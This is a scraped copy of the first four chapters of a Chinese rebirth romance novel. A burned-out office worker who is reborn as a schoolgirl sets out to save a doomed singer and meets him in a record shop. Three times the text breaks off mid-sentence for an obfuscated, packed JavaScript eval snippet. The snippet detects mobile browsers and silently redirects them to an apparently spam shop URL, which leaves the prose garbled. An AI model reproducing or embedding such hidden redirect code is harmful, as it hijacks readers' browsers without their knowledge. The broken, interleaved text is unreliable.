《996下班,我去拯救顶流》 1. 01 演唱会 初春的风还带着寒意,林定裹紧了外套,靠着场外冰凉的隔离栏,慢慢蹲了下来。 内场的人声鼎沸被厚重的墙壁滤过,只剩下鼓点模糊却震撼的轰鸣。隔着一堵厚厚的墙,里面是光芒万丈的宇宙。 忽然,歌声隐约传来,被风声过滤得有些失真,却依旧像一道暖流,精准地注入她冻僵的心脏。 是他在唱。 “我们相遇在彼此的至暗时分,却交换了成为对方光亮的勇气——” 林定闭上眼睛,嘴角忍不住弯起。这段日子所有的委屈和挣扎,瞬间都被这声音烫得蜷缩起来。内场的欢呼声同海啸般,他的高音破开了一切,扶摇直上,亲手撕裂林定头顶晦暗的夜空。 辞职、内耗、场外的冷风…… 一切都不值得提了。 能这样隔着一段距离,听听他的声音,就好像又能积攒一点活下去的勇气。 * 脑海里却不合时宜地闪过一周前的画面,那间永远像白昼一样让人失去时间感的开放式办公室。 空气里弥漫着咖啡因的味道。 林定的手机震动了一下。 “定定,你真的不去吗?他都来到我们的城市了!你肯定是最近太忙了没看热搜吧,他们组合之后大概是要解散了……”读完好友的消息,她皱起了眉头,她拿起手机走向洗手间,门口如平常般排着长队。她迅速地扫了一眼热搜内容,退回消息框回复道: “开票的时候我都没抢到票,唉……解散说不定也是好事,咱哥也是熬出头能单飞了嘛。” 对方发来了一张爆哭的表情包,“可是,他已经好久没有发个人单曲了,更别说是专辑了。以前那些歌,解散后也唱不了了,不知道未来能不能好……”队伍动了动,林定被身后的人拍了拍,往前走了两步后才低头看信息。 好友的消息猝然弹出屏幕:“请个假吧,我们一起去蹲场外,听听声音也好嘛,这可能是纪屿的最后一场演出了。” 最后…… 林定盯着那行字,胸口发凉。而此刻,她口袋里到另一部手机,毫无征兆地响起来了——那不是普通消息提示,而是企业聊天软件的消息加急铃声。在那一瞬间,像被电击似的,她整个人猛地一颤。?洗手间排队队伍里,不少目光若有若无地扫过来。 她没勇气把它掏出来按掉。 林定只是深吸一口气,从即将抵达的队伍里转身退了出来,沿着来路快步回走,一边接起电话,声音努力平稳道:“老大……嗯,我马上回来。” 她挂掉电话,最后看了一眼个人屏幕上那条“最后一场”的消息,指尖在冰冷的屏幕上方悬停了片刻,最终还是按熄了屏幕,将它放回了口袋里。 她也很想去见纪屿。 可林定身处这996的大厂,请假本就是艰难的,更何况撞上大促节点……所有部门都在高压运转,每一个组别都在紧绷着状态,坚守在岗位上,她的上级应该不会同意她的请假申请吧。 上一次见纪屿,是什么时候? 林定闭了闭眼睛,那梦幻般的记忆竟然并不太清晰了。明明她曾在心里发过誓,要和纪屿常常见面,要亲眼见证他的每一步。 可是……后来呢? 后来,是她“如愿”进入到了这个公司,永无止境的bad case排查、需求推进、结果复盘、新项目落地,挤占了她所有的时间精力。在996几近榨干所有心力的日常里,她依然固执地,每天为自己辟出一小片精神的空隙。 那片空隙里,只装得下一件事——关注纪屿。 无需解释。不为别的,只因为他是林定贫瘠现实里,唯一能抓住的光。 若没有他,她大概很难在日复一日几近崩溃的工作里,坚持到今天;若没有他,她或许早已失去从疲惫中重新爬起的力气。 忙碌的每一日,连抽空上网刷刷纪屿的消息,都成了一种奢侈,和朋友也没时间聚餐,更别说是远赴其他城市去听纪屿的演唱会了——她根本就请不到假。 悲哀又巧合的是,在她上班后,纪屿的事业运就直线下降,再也不如从前那么红了,歌曲也莫名走向商业化,不再有从前的韵味。粉丝们也只能眼睁睁看着他的动态越来越少,纪屿在娱乐圈的热度渐渐冷却,从话题中心逐渐地滑向边缘。 如果这真的是最后一场…… 如果错过,下次见面将会是遥遥无期。 这个念头让她慌乱了,也刺痛了她心里的那一处。 “好。我去请假。”林定掏出手机,飞快地在个人手机上敲下回复。 林定的顶头上司付天,是一个漂亮的女强人。而此刻,她的眉头拧成了一个川字,看着系统里弹出来的请假审批单。 “小定啊,”付天扬声道,是那种拖着长腔的语调,“你这个请假, timing不太对吧。” 林定的心沉了一下。 “你也知道,我们现在正处于新项目落地的关键节点。这么多事情要处理,你这边休息一天,群消息不得炸?谁来帮你跟这些事情?谁请假整个业务都要受影响。”付天一边说着,一边向她的工位走过来。 这话像冰雹一样砸下来,拒绝了她“请假一天”这个简单的诉求。 她抬头看着站在她工位旁边的上司,试图解释:“老大,我就请一天假,实在是有要紧的事情需要请假,如果群里有紧急的事情我也会手机在线及时回复的,我……” “这不是在线不在线的问题吧,姐姐,”付天打断她,语气带上了几分不耐烦,“这是态度问题了,老板现在要大家all in,你看隔壁组,为了赶进度,已经连上三周了,人家说什么了?我周末只让你们加一天班啊,已经很好了吧。还有,你要紧的事,谁不知道你是要去看那谁的演唱会,我刚才电梯都听到别人说了,演唱会要开到G市来。” 付天敲了敲林定的电脑副屏,上面是纪屿的一张壁纸。“有什么好看的,这个人越来越糊了。”她语气里那种毫不掩饰的轻蔑,毒辣地穿透了林定近日以来脆弱的神经。她眼前闪过过去一年:无数个凌晨下班打不到车的心酸,被体检报告上的异常数目增加的恐惧,还有手机里因为太久没打开而沉寂下去的粉丝群…… “公司给你这个总包,不是让你享受生活而不工作的哈。”付天最后下了结论,重重的地拍了拍她的桌面,“你这个假我批不了。你克服一下,把任务做好再说。好了,去忙吧,一会儿我拉个会,我们对一下需求进度哈。” 付天欲转身走去,不经意瞥到了她桌面上收到的快递——是两本新买的小说,还没来得及拆封。“呵,你下班还有闲情看书呢,我看是这个工作还不够饱和了。” 林定听到自己脑子里的某根弦,断了。 所有的委屈、愤怒、疲惫、被物化的恶心感,在这一刻冲垮了理智的堤坝。 她看着付天的背影,和同组同事们憔悴的脸庞,她突然笑了起来,声音不算大,但在只有键盘敲击声的办公室里,显得格外刺耳。 付天疑惑地回头。 然后,林定做了一件在脑海里,演练过无数次,却从未敢做的事。 她猛地抓起胸前那张印着她照片、曾经是她骄傲的、曾被她在朋友圈炫耀过的工牌,用力地甩在桌面上,“啪”的一声。 “我做不了。我要辞职。” 工牌弹起,掉落在地,就像是一块毫无生气的垃圾。 整个组里瞬间死寂。同事们的脑袋都抬了起来,眼睛里闪烁着震惊——这些目光里还隐藏着快意和欣赏。 林定站了起来,格外的平静。虽然眼前一阵发黑,但一种前所未有的畅快感冲刷着她的全身上下。 她没再看任何人的表情,转身,在无数道目光中,挺直了腰杆,一步一步走向电梯。 * 冷风一吹,林定从激烈的回忆中抽离,脸上不知何时已经一片冰凉。 她擦了擦眼泪,听着场内传来的纪屿的声音。纪屿的声音还是和从前那样温暖,即使他遭遇难事,也会笑着和大家谈论关于未来的期待。 林定心想:都过去了。 虽然冲动,但不后悔。 她站起身,准备和散场的人群一起离开,顺便和网上约好的几个粉丝姐妹去隔壁火锅店聚一聚,分享一下今晚的快乐。 突然,人群一阵骚动。“出来了出来了!是公司的车!” 几辆黑色的商务车缓缓从场馆里驶出。粉丝们立刻围了过去,但大家都克制地保持了距离,只是大声喊着“我们永远爱你!”“宝贝辛苦了!”“好好休息!” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613280|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定被人潮往前推,踉跄了一下。她下意识地望向中间那辆车的后座。 车窗缓缓降下来了。 距离还是有些远的,场馆外的灯光也是暗暗的,但是,她还是一眼就认出了他。 四年了。从距离上一次见到纪屿,已经过去了四年。 不一样。 和荧幕里的他也不一样。 说不出来的不一样。 他戴着帽子,几乎遮住了大半张脸,露出来他清晰而削瘦的下颌线。纪屿朝着窗外的粉丝努力地挥手,嘴角微微弯起,是一个温柔的微笑。 但就在那短短一两秒的瞬间,林定捕捉到了。 他眼底深处,明明就不是笑意……而是一种几乎耗尽的疲惫。像那最后燃烧一下的灰烬,光芒微弱。 曾经纪屿先生笑起来山明水净,眼睛弯成月牙,看一眼就让人觉得被治愈。可此刻,竟盛满了难以言喻的重量。 可他挥手的样子依然真诚,甚至因为那份刻意维持的挺拔,而显得有些笨拙。 车窗很快升了上去,黑色的车队载着他,迅速消失在夜色里。 留下的粉丝们还在激动地回味““他好温柔啊!”他看到我了啊啊啊啊啊!” 可林定心里却莫名地沉了一下。 他看起来……好累。 这几年,他到底经历了什么? 为什么近一年来,他再也没有拿出过像早期那样惊艳的原创作品,那些敷衍的商业歌曲,真的是他写出来的吗? 新闻和黑粉都说他江郎才尽,可她才不信! 一个对音乐有着偏执热爱的人,一个在无名的地下酒馆都能唱到散发光彩的人,怎么可能就这么轻易地“才尽”了呢? 林定摇摇头,把这份不安,归咎于自己的胡思乱想。能亲眼看到他,知道他平安、健康,就够了。 * 火锅店,播放着纪屿的歌曲。 粉丝们炫着热气腾腾的火锅,一起大笑,一起为今晚站姐们出的神图尖叫。 油滋滋地在锅里咕噜咕噜地冒泡,林定的心情越来越好,感觉自己终于活过来了。“定定,你这辞职就是对的!别再给那狗公司卖命了,都把你压榨成啥样了!你看,追星没空,聚餐没空,连你之前那小说都……”她的好友晓春给她夹了一块毛肚,林定对她笑了一下:“嗯,等我离职后,就把它重新捡起来。” “来,我们干杯,让这些日子的坏事,都和这腾腾的热气一起飞走吧!” “干杯!为纪屿!也为我们每一个人!” 林定撇了撇嘴,“唉,可惜提了辞职还不能马上走,我还要干到月底呢。” “滴滴滴滴——” 众人的手机一起响了起来。 林定掏出手机,一条新闻APP的推送,炸响了屏幕—— 【突发】当红歌手纪屿演唱会结束后疑似中毒,现已紧急送往G市中心医院抢救! 时间,在这一刻,凝固了。 场内的欢歌笑语刚才还在耳边,此刻世界寂静无声,只剩下心脏疯狂砸向胸腔的闷响。 * 后来还发生了什么,她记不清了。 只记得自己像疯子一样冲向市中心医院,只记得医院门口挤满了好多记者,只记得在一片嘈杂声中,混杂着“长期失眠”、“严重抑郁症”、“多个合作方解约”、“天价违约金”、“经纪公司有争议的对赌协议”…… 回想他那张满是疲惫却仍然强撑笑意的脸,那根本就是精神被摧残后、精疲力竭的预兆吧。而她,和所有粉丝一样,没有察觉到,他早已在深渊边缘摇摇欲坠。 再后来,就是纪屿最好的兄弟,同公司的rapper顾蓝,顶着全网压力和公司威胁,曝光了纪屿电脑里那十几首被雪藏的demo。旋律响起的那一刻,全世界才恍然大悟,他不是江郎才尽,他是被无声地绞杀。 而林定,在悲痛和高压工作的彻底反噬下,在一个加班推进项目的深夜,看到了屏幕弹出的消息——纪屿抢救无效的新闻。 她心脏猛地一缩,眼前一黑,重重栽倒在工位上。 在失去意识的最后一秒,她只有一个念头: 若能有重来一次的机会,她定要逆转这该死的命运,看清那疲惫眼神背后所有的真相! 2. 02 重生 眼前是无边无际的、黏稠的黑暗。 耳边先是死一般的寂静,随即,一阵熟悉到DNA里、却又遥远地像是来自上辈子的广播音乐,正在穿透这片黑暗,越来越清晰—— “轻闭双眼,身体坐正,双腿自然放松,双手自然搭在腿上……” 温柔的女声伴随着舒缓的节奏,飘进了林定的耳朵里。 林定的睫毛剧烈地颤抖了一下,猛地睁开了双眼,可过于刺眼的白炽灯光却让她在瞬间眯起了眼睛,入目的一切都带着模糊的光晕。 她正趴在一张堆满了书卷的课桌上。空气里弥漫着青春期少年汗液的味道。 耳边是桌椅板凳碰撞的声音,以及附近嘀嘀咕咕抱怨做操的动静。 她难以置信地、僵硬地坐了起来。 眼前的,是蓝白相间的校服外套,是贴在黑板上方的励志标语,是扇叶老化的两排电扇。 这难道是……她的高中教室吗? 广播里的口令还在继续:“……吸气——呼气——第一节……” 她猛地低头,看向自己的手。 一双白皙、纤细,没有被办公室空调吹得干燥起皮的手。没有美甲,指甲剪得干干净净,透着健康的粉色。 是梦吗? 太真实了!这也太真实了! 她掐了一把自己的大腿。“嘶——!”尖锐的痛感瞬间袭来,却也带来了万分的狂喜和惊讶。 真的不是梦! 她真的……回来了?! 巨大的的震撼和混乱冲击了她的大脑,前世绝望又冰冷的死亡和眼前充满希望又鲜活的青春猛烈对撞,让她变得极度兴奋。 林定“噌”地一下,从座位上站了起来,椅子腿与瓷砖地板摩擦发出刺耳的声响,整个教室原本整齐的眼保健操节奏,瞬间被她这突兀的动作给打破了。无数双好奇的、疑惑的、困倦的眼睛——从正在做操的手指缝里望了过来。 “做眼操!!”教室前门被“啪——啪”地拍了两下。一个长相漂亮的女孩插着腰站在前门那,她的脖子上挂着“纪检部”的胸牌。“晓春!!!”林定高兴地对她挥挥手,可是她没有收到她想要的回应,而是得到了邓晓春不解的皱眉和不耐烦的眼神。“高一(6)班,”邓晓春的声音没有任何感情,“眼保健操期间有同学无故起身,扣2分!” 这句冰冷的、属于校规的审判声,就像一声惊天巨雷,彻彻底底地劈开了林定脑海中最后一丝混沌。 她,真的重生了。 重生在了这个……还要因为没做眼保健操被扣分的高中时代。 林定愣愣地坐下,周围的同学已经做完了眼保健操,教室恢复了日常的嘈杂。她下意识地转过头来,看向身旁那个正在打哈欠的同桌。 何纯。 她的目光在他脸上凝固了。 十六岁的何纯,发量感人,皮肤稚嫩,脸上有着几颗青春痘,眼神虽困倦,但还有着没被生活折磨过的、天真的光亮。 林定的心脏好像又被捏了一下。 她知道,毕业后的何纯是什么样子——大学时,家里发生了翻天覆地的变化,父亲抛弃他们母子出轨离婚,母亲被电信诈骗后欠下了巨额贷款。他一人扛起了重担,才二十六七岁,发际线就已经后退,而他的眼神里总是带着一股被生活压得喘不过气的疲惫,每次聚餐都沉默寡言。好友们多次想伸出援手,可屡屡总被何纯拒绝——“我自己可以的。我不想和你们有金钱往来,这样我们就能一直有纯粹的友谊。” 而现在,他青春地、完整地坐在她身边,还会因为纪检被扣分而嫌弃地瞪着她。 “看我干嘛?”何纯被她眼神盯得撇了撇嘴,没好气地嘟囔道,“突然站起来发疯,害得我们班被扣分了,神经吧你。” 他的声音,是清亮的、不耐烦的调子,而不是十年后那个疲惫、沉默的嗓音。 巨大的酸楚和一种失而复得的庆幸感,冲上了林定的鼻腔。 她眼眶有一些发酸了,于是赶紧低下头,尽力掩盖情绪,开口时还带着颤音:““嗯那个……何纯,今天是几几年几月几号来着?我刚睡懵了。” 徐亮像看傻子一样看着她,但还是下意识地回答:“2015年啊,4月30号啊。明天放五一了。你真疯了?”他甚至还伸出了手,想探探她有没有发烧。 2015年!!她16岁!!林定呆滞地看着眼前的一切,心跳再次加速,可这一回,不是因为震惊,而是强烈的狂喜! 她回来了,回到了十年前,她刚上高一的时候! 一切都还没发生…… 何纯家里的变故,在四年后。 还有…… 纪屿! 现在的纪屿,还是某个大楼里的小小练习生,还没有被公司的“卖身契”束缚,还没有被资本的博弈牵连,还没有患上重度抑郁症,还没有……走向那个绝望的终点。 而她自己,也不再是那个被996榨干热情和生命、连一场演唱会都无法从容赴约的林定了。 她有足足十年的时间。 一个清晰的、炽热的念头,在她脑海里迅速生根发芽—— 她必须救他。 她要救他,也要救自己。 这一次,她绝不会再像前世那样,用自我毁灭的方式去证明自己了。她要换一条路,一条正确的路。 她要认真读书,不再像从前那样,因为叛逆而考去了差的学校。 去他的996工作,去他的头部大厂! 她不要再为了父母的面子而接受那份看似光鲜却损耗生命的高薪offer了。 她要考上最好的传媒大学,光明正大地走进那个圈子,去了解它的规则,去获得话语权,去成为更好的自己。 她也要捡回她丢失的那份爱好。 * 林定猛地闭上了眼睛,眼前不再是明亮的教室,而是她前世很多个痛苦又孤独的夜晚。抖着手,在电脑里有目的性地翻找,最终点开了一个她珍藏的、看了无数遍的珍贵录像。 那是几年前一档收视率很低的生活类综艺。 画面里的纪屿,还带着些青涩,坐在飞行嘉宾的位置上。主持人问大家最近有什么遗憾的事,别的嘉宾都在说一些旅行计划被打断没去成、好吃的餐厅没排上之类的玩笑话。 轮到纪屿的时候,他沉默了几秒,眼神很认真地看向镜头,语气里带着深深的惋惜,缓缓开口道: “我最近最大的遗憾是……我很喜欢的一个网络作家,叫“一言为定”。她突然断更了,还把账号都注销了。” 林定每次看到这里,都会呼吸一滞。 屏幕里的他继续说着,每一个字都准确无误地敲在她的心上:“我真的很喜欢她的文风,她很特别,有一种……独特的灵气。我很喜欢她笔下的故事。” 他有些不好意思地笑了笑,眼神却无比真挚:“我不知道她为什么会离开,是不是遇到了什么难过的事?但我很想告诉她,在这个世界上,有一个读者,非常非常喜欢她的故事,会一直支持她。我……我其实真的很想知道那个故事的结局。” “一言为定”是她在小说平台注册的笔名。前世她父母发现了她的笔稿,气愤地责备她不务正业,撕碎了她的梦想。加上她在平台的数据本就不作好,辱骂她的读者也是不少,她心灰意冷之下就清空了内容,并注销了账号,再也不写小说了。 在一个“考古”偶像的夜晚,她看到了这个视频。 她没有想到,自己每天耳机里单曲循环的那个遥不可及的明星,竟会是她的读者。 他懂她的文字,他爱她的故事。 从那一刻起,林定就彻底爱上了纪屿。 * 教室里,上课铃声的音乐、同学翻书的声音又重新涌入耳中。 外面,阳光明媚,此刻,岁月正好。 那个唯一肯定过她破碎梦想的人,那个她还没来得及说一声谢谢、甚至没能让他看到故事结局的人…… 在前世走向了万劫不复的深渊。 而她,拥有了第二次机会。 一滴眼泪落在书本的扉页上,身旁的何纯再次担忧地看向她。 她迅速擦掉眼泪,再抬起头时,目光里所有的茫然都褪去,只剩下一种强烈的坚定。 这一次,她要让那束曾照亮她的光,永不熄灭。 她要站在他能看见的地方,甚至站在他身边,成为他的盾,他的剑,提前替他除掉那些已知陷阱;会有那么一天,他是更好的他,她也成为了更好的自己,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613281|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后她一定会亲自走到纪屿面前,告诉他:“你看,你期待的那个结局,我写完了。” 林定的重生拯救计划,从此有了姓名和重量。 下课铃响。 同桌何纯一边把卷子胡乱地塞进书包,一边斜眼看她,语气缓和了些:“喂,林定,你刚刚……真的没事吧?是不是因为就要分班了,舍不得七班的同学,压力太大了?” 分班? 林定一怔。是了,高一下学期的期中考后,待五一假期结束,就会按每个人的文理意向来重新分班。她选择了理科,下周回来将会离开现在的班级。 看着何纯那副“爷我只是随便问问,才不是关心你”的样子,她由心地笑了一下:“嗯,是有点吧。”她顺着他的话点点头,没有多解释“希望我们还是在同一个班。” 何纯嘟囔了一句“谁要跟你一个班了”,抓起书包就润了:“行了行了,五一后见吧!” 林定看着他的背影,心里盘算着要什么时候提醒好友未来他家里会发生的变故。 前世,她对分班并无太多感触,一心只想尽早住宿,脱离父母的管控。但现在……班里的同学各种依依不舍,互相合照的,林定有了诸多感慨。下楼梯后,走在校园里,微风拂在脸上,带着独有的书香气。跑道上是熟悉的打闹身影,榕树下是美好的并肩共读。 人们常说,人不能同时拥有和感受青春。 同时拥有,原来是这么美好的事情。 她没有立刻回家。她拐去了离学校不远的爷爷家。老旧的单元楼,楼道里飘着浓郁的饭菜香。她敲开门,系着围裙的保姆张阿姨看到是她,笑着让她进来。 “定定放学啦?爷爷在阳台看报纸呢,你奶奶去谭婆婆家打麻将啦。” 她脱了鞋,赤着脚就急切地穿过客厅,跑到那个被夕阳的余晖洒地金灿灿的阳台上。爷爷戴着老花镜,坐在木椅上,手里拿着一份晚报,听到脚步声就回过头来。“哟,今天放学这么早呢?” 看着爷爷的笑容,听着他中气十足的声音,林定的鼻腔猛地一酸。 还有五年。 还有五年,爷爷就会因为突如其来的疫情病倒,治好后身体也大不如前,最后在医院里离世。那时她,除了以泪洗面,什么都做不了。 失而复得的喜悦冲击着她,她冲过去,蹲下身,一把抱住了爷爷,把脸埋在他带着阳光味的旧衬衫里,声音闷闷的,带着无法控制的哽咽:“爷爷……” 爷爷被她这突如其来的动作弄得愣住了,粗糙的大手轻轻地拍着她的背:“这是怎么了?在学校受委屈了?跟爷爷说说,爷爷找你们老师去!” “没有没有,就是……想你了。”林定用力摇头,轻轻松开了她用力的手,她抬起头,擦掉眼泪,表情变得异常认真,看向一旁的张阿姨:“张阿姨,以后做饭,一定要记得少放油,少放糖……盐也要少一点。嗯……现在流行养生嘛,这样吃的才健康。”爷爷和张阿姨面面相觑,都觉得今天这孩子有点奇怪,但看她眼眶红红,爷爷也只好笑呵呵地应承下来:“好好好,听你的!小小年纪,怎么比你奶奶还唠叨……” 在爷爷家吃了晚饭,林定才回到自己冷清的家。 果然,父母出差了,桌上留着用信封装起来的生活费和一张冰冷的注意事项纸条。 她打开那台笨重的旧笔记本,在搜索引擎里,输入了那个名字—— “纪屿”。 搜索结果只有几个同名的素人,毫不相关的信息。 查无此人。 太好了,一切都还早。 她盯着空荡荡的搜索页面,脑子飞速转动。 忽然,一个绝妙的主意蹦了出来…… 前世,纪屿爆红后,在一次访谈活动里提到过一些对他早期音乐创作影响深远的冷门乐队。他随口推荐的几张古早唱片,瞬间就被粉丝买爆了,价格也被炒高了几十倍,一碟难求。她省吃俭用攒了很久的钱,都没能买到其中最喜欢的那一张,成了永远的遗憾。 现在……这些唱片,应该还默默无闻地躺在唱片店的里吧? 一个清晰的计划瞬间在她脑中成型。 她的眼睛亮了起来。 五一假期第一天,就去唱片店!把这些“未来”的宝藏,全部拿下! 3. 03 是他 春天的阳光轻柔地抚过街道,绿化带的草木吐露着鲜嫩的翠色,马路上的车流如织,缓缓向前流动。林定站在街角,静候着信号灯由红转绿,慢节奏的生活让她感到舒适不已。灯色一变,她便不紧不慢地迈开步子,悠然地穿越斑马线。 不料天色忽变,雨点洒落,由疏而密,转眼成了一场急雨。她下意识地转身,朝着与原本目的地相反的方向跑去,春雨凉凉地沾湿了她的发梢与肩头。 拐过一条平时不曾留意的小街,瞧见一家从未见过的唱片店。 老旧窗子里陈列的黑胶唱片隐约可见。 本来想去的是人民路的那家唱片店……林定回头看了看雨势,还是放弃了这个想法。反正都是唱片店,在这家看看也行。 林定推门而入,门轴转动,门铃轻响,打破了唱片店内慵懒的宁静。 角落里,一个正低头整理货架的身影,闻声侧眸,视线轻扫而过。 店面不大,装潢有些简陋,灯光也不敞亮,但每一张唱片都被分门别类地安置在贴有标签的货架间——字迹工整的「摇滚」、「民谣」、「电子」……。店里的空间被充分利用,货架之间的通道窄得只能容一人通过。 林定张望了一下,货架太多视线有所遮挡,没看到店主的身影,便自顾自地沉浸入淘碟的快乐当中。幸好这里有清晰的分类,加之林定的目标明确,不一会儿,她怀里就躺了五张梦寐以求的实体唱片。 她忍不住笑出声:“太好了,有生之年系列,终于到手了!” 抱着战利品,她经过了店面深处的收银台。那里摆放着一台复古的CD机,旁边用粗黑的马克笔大大字写着:「欢迎试听」。 心下一喜,她小心翼翼地抽出其中一张CD,放入了机器中。按下播放键,一段熟悉的旋律缓缓流淌出来,音乐充满了店面的小空间,也包裹住了她雀跃的心。 她跟着节奏,轻轻哼起曲来,心满意足地继续搜寻最后一个目标。在一个最靠里的货架前,她停下了脚步——终于找到了!只是它被放在了最高一层,对她而言着实有些不好拿……怀里抱着五张宝贝唱片,没法跳起来拿。 她只好微微扬声问道:“老板——有梯子吗?我要的这张CD放得太高啦,我够不着。” 话音刚落,身后远处便传来悉悉索索的动静,像是有人从什么地方站了起来。通道太窄,转身是个难事,所以她也没有回头,只耐心等着。 脚步声不紧不慢地靠近,沉稳地敲击着老旧的地板。林定低着头,欢喜地欣赏着怀里的宝贝们,语气轻快地说:“老板,您店里货源真全,以后我肯定常来!” 她努力地想侧头看着人说话,奈何通道深处光线昏暗,只瞥见一个模糊修长的轮廓。 “梯子在仓库,”一个声音在她身后极为靠近的地方响起,清澈中带着一丝漫不经心的慵懒,“我给你拿下来。” !!! 这个声音—— 像一道惊雷,直劈林定的天灵盖。 林定的身体瞬间僵直,血液好像都在这一刻,凝固了。她的大脑一片空白,手指不受控制地颤抖一松—— “哗啦!” 怀里的五张唱片应声散落一地,发出了极大的声响。 顾不上地上的“宝贝”们了,她极其狼狈地在狭窄的通道里,艰难转身,心脏狂跳得快要冲出胸腔。 林定的视线慌乱地抬起,猝不及防地撞入一双明亮的眼睛里。 此人生得清瘦冷冽,眼眸如同浸水琥珀。垂眸时沉静安定,抬眼时明如光焰。那张脸……那张早已刻进她DNA里的容貌——此刻近在咫尺。 年轻的纪屿就站在她面前,双手随意地插在裤袋里,微微侧着头看她,似乎有些不解她大惊小怪的反应,只是重复说:“你要的是哪一张?” “拿……拿灰灯乐队的……的《相忘》。”林定听见自己的声音在发抖,口齿不清。 纪屿眼中闪过一丝极淡的诧异,似乎没料到她会找这么冷门的唱片。但他也没多问,只是轻松地一抬手,凭借身高的优势,轻而易举地将那张她够不到的唱片取了下来。 “谢…谢谢!”林定快速地从他手中“抢”过唱片,触电般地低下头,慌忙蹲下去想收拾散落一地的“宝贝”,试图掩饰自己快要爆炸的激动——没有想到重生的第二日,就遇见了纪屿……她甚至还没有来得及做任何的计划。 然而,令她更没想到的是…… 纪屿也屈膝蹲了下来,伸出了那一双未来握住麦克风手,安安静静地、帮她一起捡起散落在地上的唱片。 狭小的通道里,两人默默无言,只有唱片塑料外壳碰撞的细微声响,和她震耳欲聋的心跳声。 纪屿目光扫过手里捡起来的那几张唱片封套,眼底掠过一丝难以掩饰的惊讶。 灰灯乐队…幻想舟…云上游记… 这些唱片,都恰好符合他极其冷僻的音乐审美。甚至有几张,是很多人不看好的歌曲。这个小姑娘…? 他将唱片递回给她,“这些,给你。” 纪屿修长的手指无意地指向身后的试听CD机,他顿了顿,似乎在思考着什么,声音里带着探究意味,“你……很喜欢这几张?” 林定内心:疯狂点头——当然!喜欢!这都是你未来认证过的宝藏唱片啊,我今天本就是来淘金的! 她强压下内心的呼喊和真相,借着站直身体的动作深吸了一口气,努力让自己的声音听起来自然:“嗯……很喜欢。找了好久,一直想买来收藏。”她把唱片紧紧抱在怀中。 纪屿点点头,领着她走到收银台。他俯身,那双骨节分明的手熟练地打开CD机,取出她刚才试听的那张碟片,一套动作漂亮地让林定眼睛都看直了。 “老板……你是这家店的老板吗?”林定强迫自己不再盯着纪屿瞧,她低头看着收银台柜面,问出这个问题,心跳却仍然不听话地如小鹿乱撞。 “不,”他回答得简单干脆,将那张CD轻轻地放回封套内,“我只是假期的兼职生。” 兼职…那你的练习生生活呢?在哪里练习?辛不辛苦?无数问题想涌到嘴边,但都被她生生咽了回去。 不能问,太冒昧了。 纪屿看着眼前女孩稚气未脱的脸庞,再对比她怀里那摞深沉又晦涩的唱片,强烈的反差感让他生出了一点好奇。“喜欢这些的人很少,”他示意林定将怀里的唱片递给他,“你年纪看起来不大,怎么会接触到这些音乐?” “我不小了……”林定下意识反驳,话一出口才猛地意识到自己现在还顶着一张十六岁的脸,咬了咬嘴唇,脸颊微红。为了掩饰这一瞬的尴尬,也为了抓住和偶像难得的交流机会,她急忙把前世的记忆在脑海里调动出来,将纪屿未来在访谈里对这几张唱片的点评,原封不动地复述了出来:“……我喜欢不少小众的歌曲,对他们独特风格的音乐十分着迷。这些唱片虽然冷门,但很有味道。比如灰灯这张,我在他们的歌曲里听出了逆境中总会生长出希望,即使在暗无天日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这个,”他将纸条推过来,上面是一个乐队的名字和一张专辑名,“这家店没有。我之前在S市一家地下唱片店听过,也许……你应该也会喜欢。但好像已经停产了。有机会的话,可以找找看。” 林定点点头,悄声应好。 结账的时候,纪屿熟练地操作着老旧的电脑,随口说道:“注册一下会员吧,下次来会有折扣。你是第一次来?” “嗯……第一次。” “名字,年龄。”他公事公办的口吻问,一直看着屏幕的目光忽然落在林定的脸上。 “林……林定……定。年龄……十六岁。”她在他的注视中心跳又一次失控,嘴皮子又不听话地打起架来。 短暂的沉默后,他将装好唱片的袋子和一张崭新的会员卡递给她。 就在她以为这次惊喜相遇即将结束时,纪屿忽然抬起眼看向她,眼神里似乎比刚才多了一丝难以名状的情绪,语气像是随意,却又带着一点过来人的劝诫: “嗯……林定定同学,你这个年纪,还是好好读书。” 她心如鹿撞地走出唱片店,忍不住回望,却再寻不见他的身影。一切像一场轻而美的梦,恍若雨雾中浮起又散去的虹影。 她低头看了眼那张珍贵的手写会员卡,上面工整地写着“林定定”三个字。 嗯……虽然名字搞错了…… 但能在此刻相遇,已是运气至极。 雨不知何时停了,风自街口徐徐吹来,带着这个时代独有的气息,竟有些醉人。 她缓步走在湿漉漉的街道上,水洼里倒映着刚刚放晴的天空。 看到他健康安好,她的内心便升起一片澄净的满足了。 她已经开始期待下一次相见。 4. 04 坚持 唱片店的门轻轻合上,门铃的尾音如同一颗投掷进湖心的石子,漾开一圈圈涟漪后又再次归于沉寂。 纪屿下意识地向窗外望去。 那个名叫林定定的女孩子,正怀抱着装满唱片的纸袋,脚步轻快地在门口张望车流,发梢在夕阳下跃动着亮眼的光泽,随即她的身影很快就消失了。 他怔了一下,这才意识到自己的嘴角不知何时扬起了一个弧度。 